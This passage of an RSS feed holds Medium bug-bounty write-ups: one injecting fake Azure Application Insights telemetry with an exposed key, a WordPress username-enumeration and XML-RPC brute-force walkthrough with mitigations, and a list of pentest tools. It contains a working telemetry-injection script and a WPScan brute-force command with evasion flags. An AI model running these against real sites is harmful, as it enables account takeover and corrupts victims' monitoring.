source.Among the usual HTML boilerplate, I spotted several linked JavaScript files. One caught my eye—a file with a hashed name, typical of modern web apps (e.g., <strong>main.123abc456def.js</strong>). I loaded it in my browser and began sifting through the minified code. After some digging, I found a reference to a configuration file path: <strong>/static/config/settings.json</strong>. Bingo! Configuration files are goldmines for sensitive data, so I navigated to <strong>https://service.feature.example-corp.com/static/config/settings.json</strong> and hit enter.</p><p>To my surprise, the browser returned a neatly formatted JSON file—no authentication, no restrictions, just raw data sitting in the open.</p><h3>The Discovery: A Treasure Trove of Sensitive Info</h3><p>The JSON file was a snapshot of the application’s internals. It included:</p><ul><li>An API endpoint URL pointing to an Azure-hosted service.</li><li>Authentication details for an Azure Active Directory (AAD) app, including a <strong>tenantId</strong>, <strong>clientId</strong>, and OAuth scopes.</li><li>Validation rules for input fields.</li><li>A link to an internal Slack channel.</li><li>Most critically, an Azure Application Insights instrumentation key—a long, UUID-like string that looked suspiciously like a credential.</li></ul><p>For those unfamiliar, Application Insights is a monitoring tool from Microsoft Azure that tracks app performance, errors, and custom events. The instrumentation key (or “iKey”) ties telemetry data to a specific instance. Normally, this key should be guarded like an API token, but here it was, exposed in a public file. My gut told me this was exploitable.</p><h3>The Hypothesis: Can I Inject Telemetry?</h3><p>Exposing an instrumentation key in a public config file raised an immediate question: could I use it to send fake telemetry data to the target’s Application Insights dashboard? If so, this could disrupt their monitoring, trigger false alerts, or even hide real incidents under a flood of noise. To test this, I needed to understand how Application Insights accepts data.</p><p>A quick search revealed that telemetry is sent to a public ingestion endpoint: <strong>https://dc.services.visualstudio.com/v2/track</strong>. The endpoint relies on the iKey to route data to the correct instance—no additional authentication required, assuming you have a valid key. With the key in hand, I had everything I needed to craft a proof-of-concept (PoC).</p><h3>The Exploit: Injecting Fake Logs</h3><p>I opted for a simple Python script to test the vulnerability. The payload would be a custom event—a benign message to prove the concept without causing harm. Here’s what I came up with (anonymized, of course):</p><pre>import requests<br>import json<br><br>url = &quot;https://dc.services.visualstudio.com/v2/track&quot;<br>payload = {<br>    &quot;name&quot;: &quot;Microsoft.ApplicationInsights.Event&quot;,<br>    &quot;time&quot;: &quot;2025-03-28T12:00:00Z&quot;,<br>    &quot;iKey&quot;: &quot;[REDACTED-INSTRUMENTATION-KEY]&quot;,<br>    &quot;data&quot;: {<br>        &quot;baseType&quot;: &quot;EventData&quot;,<br>        &quot;baseData&quot;: {<br>            &quot;ver&quot;: 2,<br>            &quot;name&quot;: &quot;BugBountyTestEvent&quot;,<br>            &quot;properties&quot;: {<br>                &quot;Researcher&quot;: &quot;m4st3r_mind&quot;,<br>                &quot;Message&quot;: &quot;Testing telemetry injection for bug bounty PoC&quot;<br>            }<br>        }<br>    }<br>}<br><br>response = requests.post(url, json=payload)<br>print(f&quot;Status Code: {response.status_code}&quot;)<br>print(f&quot;Response: {response.text}&quot;)<br></pre><p>I ran the script, and the response came back almost instantly:</p><pre>Status Code: 200<br>Response: {&quot;itemsReceived&quot;:1,&quot;itemsAccepted&quot;:1,&quot;appId&quot;:null,&quot;errors&quot;:[]}<br></pre><p>Success! The <strong>200 OK</strong> status and <strong>&quot;itemsAccepted&quot;:1</strong> confirmed that my fake event was ingested. The target’s Application Insights instance had accepted my telemetry, no questions asked. This meant anyone with access to that config file could inject data at will.</p><h3>The Impact: Why This Matters</h3><p>While this vulnerability didn’t grant me direct access to systems or data, its operational impact shouldn’t be underestimated:</p><ul><li><strong>Log Pollution:</strong> An attacker could flood the dashboard with thousands of fake events, drowning out legitimate telemetry and making it harder to spot real issues.</li><li><strong>Alert Fatigue:</strong> If the target had alerts tied to specific events (e.g., errors or custom triggers), I could spam them, desensitizing the team to genuine threats.</li><li><strong>Obfuscation:</strong> During a real attack, fake telemetry could mask malicious activity, like data exfiltration or unauthorized access.</li></ul><p>In a security-conscious organization, monitoring is a critical line of defense. Undermining it with a single exposed key is a big deal.</p><h3>Lessons Learned and Takeaways</h3><p>This find reinforced some key principles for both hunters and developers:</p><ol><li>Recon Pays Off: Subdomains and source code are treasure troves. Don’t skip the basics—view-source and JS files can reveal more than you’d expect.</li><li>Config Files Are Risky: Publicly accessible configuration files are a common attack vector. If it’s not behind authentication, assume it’s compromised.</li><li>Secrets Don’t Belong Client-Side: Keys, tokens, and credentials should live server-side, ideally in environment variables or a secure vault. Client-side exposure is asking for trouble.</li><li>Responsible Testing: When proving a PoC, less is more. One successful injection was enough to make my case without crossing ethical lines.</li></ol><p>For developers, this is a reminder to audit your assets. A simple <strong>.htaccess</strong> rule or a shift to server-side config could’ve prevented this.</p><h3>Final Thoughts</h3><p>Unfortunately, my report was marked as a duplicate, but that doesn’t change the fact that such exposures still exist and pose real risks. Raising awareness about these issues is crucial to ensuring better security practices across the industry.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46496eb18f50" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-i-uncovered-sensitive-data-in-a-public-config-file-and-injected-fake-logs-46496eb18f50">How I Uncovered Sensitive Data in a Public Config File and Injected Fake Logs</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Discovered a WordPress Vulnerability: Exposed Usernames & XML-RPC Exploitation]]></title>
            <link>https://medium.com/@iamshafayat/how-i-discovered-a-wordpress-vulnerability-exposed-usernames-xml-rpc-exploitation-b35b0ec63a54?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b35b0ec63a54</guid>
            <category><![CDATA[bug-bounty-methodology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Wed, 12 Feb 2025 15:02:32 GMT</pubDate>
            <atom:updated>2025-02-12T15:07:36.846Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>WordPress is one of the most widely used content management systems (CMS) worldwide. However, some of its features can introduce security risks. In this article, I will demonstrate how I discovered <strong>username enumeration</strong> and <strong>XML-RPC brute force vulnerabilities</strong> on a WordPress website.</p><p>This method allows attackers to gain unauthorized access, but I will also cover how to fix these issues.</p><blockquote><strong><em>Disclaimer:</em></strong><em> This article is for </em><strong><em>educational purposes only</em></strong><em>. Do not attempt these techniques on unauthorized websites.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JptxPzC-pVeZdVR_4k3BxQ.png" /><figcaption>Credit: DALL-E</figcaption></figure><h3>Step 1: Identifying Username Enumeration via REST API</h3><h4>Why is Username Enumeration a Problem?</h4><p>WordPress exposes user information via the REST API (/wp-json/wp/v2/users). Attackers can use this to discover valid usernames, making brute force attacks easier.</p><h4>How I Found It</h4><ol><li><strong>Checking the REST API Endpoint</strong><br>I visited the following URL in a browser:</li></ol><pre>https://[TARGET_WEBSITE]/wp-json/wp/v2/users</pre><p><strong>2. Reviewing the JSON Response</strong><br>The response contained user details, including a <strong>username</strong>:</p><pre>[<br>  {<br>    &quot;id&quot;: 2,<br>    &quot;name&quot;: &quot;[DISPLAY_NAME]&quot;,<br>    &quot;slug&quot;: &quot;[EXPOSED_USERNAME]&quot;,<br>    &quot;link&quot;: &quot;https://[TARGET_WEBSITE]/author/[EXPOSED_USERNAME]/&quot;<br>  }<br>]</pre><ul><li>The slug field ([EXPOSED_USERNAME]) is likely the actual WordPress username.</li><li>Now, I had a valid username to target for brute force attacks.</li></ul><h3>Step 2: Checking for XML-RPC Accessibility</h3><h4>What is XML-RPC?</h4><p>XML-RPC (xmlrpc.php) allows remote interactions with WordPress, but it can be <strong>abused for brute force attacks</strong>, allowing multiple password attempts in a single request.</p><h4>How I Found It</h4><ol><li><strong>Checking if XML-RPC is Enabled Using WPScan</strong><br>I ran the following command in WPScan:</li></ol><pre>wpscan --url https://[TARGET_WEBSITE]/ --random-user-agent</pre><p><strong>2. WPScan Output:</strong><br>The scan confirmed that XML-RPC was enabled:</p><pre>[+] XML-RPC seems to be enabled: https://[TARGET_WEBSITE]/xmlrpc.php<br>| Found By: Direct Access (Aggressive Detection)<br>| Confidence: 100%<br>| References:<br>|  - http://codex.wordpress.org/XML-RPC_Pingback_API<br>|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/<br>|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/<br>|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/<br>|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/</pre><ul><li>Since XML-RPC was enabled, I could proceed with a brute force attack.</li></ul><h3>Step 3: Brute Forcing the WordPress Login via XML-RPC</h3><h4>Why XML-RPC is Dangerous for Brute Force Attacks</h4><ul><li>XML-RPC allows attackers to send <strong>multiple password attempts in a single request</strong> using the system.multicall method.</li><li>Many security plugins do not properly monitor XML-RPC requests, making it an <strong>undetectable</strong> attack method.</li></ul><h4>How I Performed the Attack</h4><ol><li><strong>Launching a Brute Force Attack with WPScan</strong><br>Since I already had the username [EXPOSED_USERNAME], I attempted a brute force attack using WPScan:</li></ol><pre>wpscan --url https://[TARGET_WEBSITE]/ -U &#39;[EXPOSED_USERNAME]&#39; -P &#39;rockyou.txt&#39; --password-attack xmlrpc --random-user-agent</pre><ul><li>-U &#39;[EXPOSED_USERNAME]&#39;: Specifies the target username.</li><li>-P &#39;rockyou.txt&#39;: Uses a wordlist of common passwords.</li><li>--password-attack xmlrpc: Tells WPScan to perform the attack via XML-RPC instead of the standard login page.</li><li>--random-user-agent: Randomizes the user agent to evade basic detection.</li></ul><p><strong>2. Observing the Results</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VO6mwud6LAcu_B9JFMPsFw.png" /></figure><p>If successful, WPScan returns the correct password, allowing unauthorized access to the WordPress admin panel.</p><h3>Step 4: Impact of These Vulnerabilities</h3><h4>What Can an Attacker Do?</h4><ol><li><strong>Gain Unauthorized Access</strong> — If a weak password is cracked, the attacker can log in and modify site content.</li><li><strong>Privilege Escalation</strong> — If the compromised account has admin privileges, the entire site can be taken over.</li><li><strong>Data Theft</strong> — Attackers can access user data, private posts, and other sensitive information.</li><li><strong>Website Defacement or Malware Injection</strong> — The attacker can modify the website to distribute malware or phishing pages.</li></ol><h3>Step 5: Mitigation &amp; Fixes</h3><h4>1. Disable Username Enumeration</h4><p>Prevent user enumeration by restricting the /wp-json/wp/v2/users endpoint:</p><pre>add_filter(&#39;rest_endpoints&#39;, function ($endpoints) {<br>    if (isset($endpoints[&#39;/wp/v2/users&#39;])) {<br>        unset($endpoints[&#39;/wp/v2/users&#39;]);<br>    }<br>    return $endpoints;<br>});</pre><h4>2. Disable XML-RPC</h4><p>If XML-RPC is not needed, disable it completely:</p><pre>add_filter(&#39;xmlrpc_enabled&#39;, &#39;__return_false&#39;);</pre><p>Alternatively, block access via .htaccess:</p><pre>&lt;Files xmlrpc.php&gt;<br>    Order Deny,Allow<br>    Deny from all<br>&lt;/Files&gt;</pre><h4>3. Enforce Strong Passwords</h4><p>Require strong passwords for all WordPress users and enable Two-Factor Authentication (2FA).</p><h4>4. Use Security Plugins</h4><p>Install security plugins like <strong>Wordfence</strong> or <strong>iThemes Security</strong> to monitor login attempts and block brute force attacks.</p><h4>5. Limit Login Attempts</h4><p>Use plugins to limit failed login attempts and block IPs after multiple failures.</p><h3>Conclusion</h3><p>This case study demonstrates how attackers can chain multiple vulnerabilities — <strong>username enumeration</strong> and <strong>XML-RPC brute force attacks</strong> — to compromise a WordPress site. Website administrators must take <strong>proactive security measures</strong> to prevent such attacks.</p><p>If you run a WordPress site, take action now by <strong>disabling XML-RPC, hiding usernames, and enforcing strong authentication policies</strong> to keep your website secure!</p><h3>What do you think?</h3><p>Have you encountered similar vulnerabilities before? Let me know in the comments!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b35b0ec63a54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Penetration Testing Tools — The Basics]]></title>
            <link>https://medium.com/@iamshafayat/penetration-testing-tools-the-basics-46367acc653e?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/46367acc653e</guid>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentest-tools]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Tue, 24 Dec 2024 14:52:41 GMT</pubDate>
            <atom:updated>2024-12-24T14:52:41.118Z</atom:updated>
            <cc:license>http://creativecommons.org/publicdomain/zero/1.0/</cc:license>
            <content:encoded><![CDATA[<h3>Penetration Testing Tools — The Basics</h3><p>Penetration testing (or pen testing) is an essential practice for assessing and improving the security of a system. It involves simulating cyberattacks to uncover vulnerabilities that could be exploited by malicious actors. To perform effective penetration tests, professionals rely on a wide range of tools designed for various tasks. This article categorizes some of the most useful penetration testing tools and provides links for each.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SInexX9N9-JeV-xnXDGWRw.png" /><figcaption>Credit: DALL-E</figcaption></figure><h3>Open Source Intelligence Gathering Tools</h3><p>Open Source Intelligence (OSINT) tools are used to collect information about a target system or network. These tools aid in reconnaissance, the initial stage of penetration testing.</p><ul><li><strong>Whois</strong></li><li><a href="https://nslookup.io/"><strong>Nslookup</strong></a></li><li><a href="https://github.com/ElevenPaths/FOCA"><strong>FOCA</strong></a></li><li><a href="https://www.maltego.com/"><strong>Maltego</strong></a></li><li><a href="https://github.com/laramies/theHarvester"><strong>TheHarvester</strong></a></li><li><a href="https://www.shodan.io/"><strong>Shodan</strong></a></li><li><a href="https://github.com/lanmaster53/recon-ng"><strong>Recon-ng</strong></a></li></ul><h3>Network and Vulnerability Scanning Tools</h3><p>These tools identify vulnerabilities in networks, systems, and applications. They are essential for assessing security postures.</p><ul><li><a href="https://nmap.org/download.html"><strong>Nmap</strong></a></li><li><a href="https://cirt.net/Nikto2"><strong>Nikto</strong></a></li><li><a href="https://www.openvas.org/"><strong>OpenVAS</strong></a></li><li><a href="https://github.com/sqlmapproject/sqlmap"><strong>SQLMap</strong></a></li><li><a href="https://www.tenable.com/products/nessus"><strong>Nessus</strong></a></li></ul><h3>Credential Testing Tools</h3><p>Credential testing tools focus on cracking passwords or testing the strength of authentication mechanisms.</p><ul><li><a href="https://www.openwall.com/john/"><strong>John</strong></a></li><li><a href="https://hashcat.net/hashcat/"><strong>Hashcat</strong></a></li><li><a href="https://github.com/jmk-foofus/medusa"><strong>Medusa</strong></a></li><li><a href="https://github.com/vanhauser-thc/thc-hydra"><strong>THC-Hydra</strong></a></li><li><a href="https://github.com/digininja/CeWL/"><strong>CeWL</strong></a></li><li><a href="https://web.archive.org/web/20190603235413if_/http://www.oxid.it/cain.html"><strong>Cain and Abel</strong></a></li><li><a href="https://github.com/gentilkiwi/mimikatz"><strong>Mimikatz</strong></a></li><li><a href="https://github.com/lanjelot/patator"><strong>Patator</strong></a></li><li><a href="https://sourceforge.net/projects/dirbuster/"><strong>Dirbuster</strong></a></li><li><a href="http://w3af.org/download"><strong>W3AF</strong></a></li></ul><h3>Debugging Tools</h3><p>Debugging tools are used to analyze software, identify vulnerabilities, and understand application behavior.</p><ul><li><a href="http://www.ollydbg.de/download.htm"><strong>OLLYDBG</strong></a></li><li><a href="https://www.immunityinc.com/products/debugger/"><strong>Immunity Debugger</strong></a></li><li><a href="https://www.gnu.org/software/gdb/download/"><strong>Gdb</strong></a></li><li><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools"><strong>WinDBG</strong></a></li><li><a href="https://www.hex-rays.com/products/ida/support/download_freeware/"><strong>IDA</strong></a></li></ul><h3>Software Assurance Tools</h3><p>These tools help ensure that software applications are free from vulnerabilities.</p><ul><li><a href="http://findbugs.sourceforge.net/"><strong>FindBugs</strong></a></li><li><a href="https://find-sec-bugs.github.io/"><strong>FindSecBugs</strong></a></li><li><a href="http://community.peachfuzzer.com/WhatIsPeach.html"><strong>Peach</strong></a></li><li><a href="https://github.com/google/AF"><strong>AFL (American Fuzzy Lop)</strong></a></li><li><a href="https://www.sonarqube.org/downloads/"><strong>SonarQube</strong></a></li><li><a href="https://sourceforge.net/projects/yasca/"><strong>YASCA</strong></a></li></ul><h3>Wireless Testing Tools</h3><p>Wireless penetration testing tools evaluate the security of Wi-Fi networks.</p><ul><li><a href="https://www.aircrack-ng.org/downloads.html"><strong>Aircrack-ng</strong></a></li><li><a href="https://www.kismetwireless.net/downloads/"><strong>Kismet</strong></a></li><li><a href="https://github.com/derv82/wifite2"><strong>WiFite</strong></a></li><li><a href="https://github.com/P0cL4bs/WiFi-Pumpkin-deprecated"><strong>WiFi-Pumpkin</strong></a></li></ul><h3>Web Proxy Tools</h3><p>Web proxy tools intercept and modify HTTP/HTTPS traffic to analyze web applications.</p><ul><li><a href="https://www.zaproxy.org/download"><strong>OWASP ZAP</strong></a></li><li><a href="https://portswigger.net/burp/communitydownload"><strong>Burp Suite</strong></a></li><li><a href="https://caido.io/"><strong>Caido</strong></a></li></ul><h3>Social Engineering Tools</h3><p>Social engineering tools assist in exploiting the human factor in security.</p><ul><li><a href="https://github.com/trustedsec/social-engineer-toolkit"><strong>Social Engineering Toolkit</strong></a></li><li><a href="https://github.com/beefproject/beef"><strong>BeEF</strong></a></li></ul><h3>Remote Access Tools</h3><p>These tools facilitate secure or controlled remote access to systems.</p><ul><li><a href="https://www.openssh.com/"><strong>SSH</strong></a></li><li><a href="https://nmap.org/ncat/"><strong>Ncat</strong></a></li><li><a href="https://github.com/diegocr/netcat"><strong>Netcat</strong></a></li><li><a href="https://github.com/haad/proxychains"><strong>Proxychains</strong></a></li></ul><h3>Network Tools</h3><p>Network tools analyze and troubleshoot network issues.</p><ul><li><a href="https://www.wireshark.org/download.html"><strong>Wireshark</strong></a></li><li><a href="https://github.com/antirez/hping"><strong>Hping</strong></a></li></ul><h3>Mobile Tools</h3><p>Mobile tools assess the security of mobile applications and devices.</p><ul><li><a href="https://github.com/FSecureLABS/drozer"><strong>Drozer</strong></a></li><li><a href="https://github.com/b-mueller/apkx"><strong>APKX</strong></a></li><li><a href="https://github.com/vaibhavpandeyvpz/apkstudio/releases"><strong>APK Studio</strong></a></li></ul><h3>Miscellaneous Tools</h3><p>These tools cover a variety of penetration testing tasks.</p><ul><li><a href="https://github.com/PowerShellMafia/PowerSploit"><strong>PowerSploit</strong></a></li><li><a href="https://www.exploit-db.com/searchsploit"><strong>Searchsploit</strong></a></li><li><a href="https://github.com/SpiderLabs/Responder"><strong>Responder</strong></a></li></ul><p>By familiarizing yourself with these tools, you can enhance your penetration testing skills and provide better security assessments. Whether you are a beginner or an experienced pen tester, having the right tools is critical to success.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46367acc653e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>